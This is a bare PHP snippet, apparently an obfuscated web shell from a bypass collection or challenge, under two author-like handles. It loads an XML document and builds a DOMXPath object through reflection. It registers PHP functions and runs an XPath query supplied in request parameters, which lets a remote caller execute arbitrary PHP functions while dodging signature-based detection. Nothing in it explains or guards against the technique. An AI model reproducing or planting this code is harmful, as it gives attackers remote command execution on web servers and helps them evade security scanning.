LemonPrefect H3h3QAQ XML; ​ $doc = new DOMDocument; $doc->loadXML($xml); $clazz = (new ReflectionClass("DOMXPath")); $instance = $clazz->newInstance($doc); $clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]); $clazz->getMethod("registerPHPFunctions")->invoke($instance); $clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);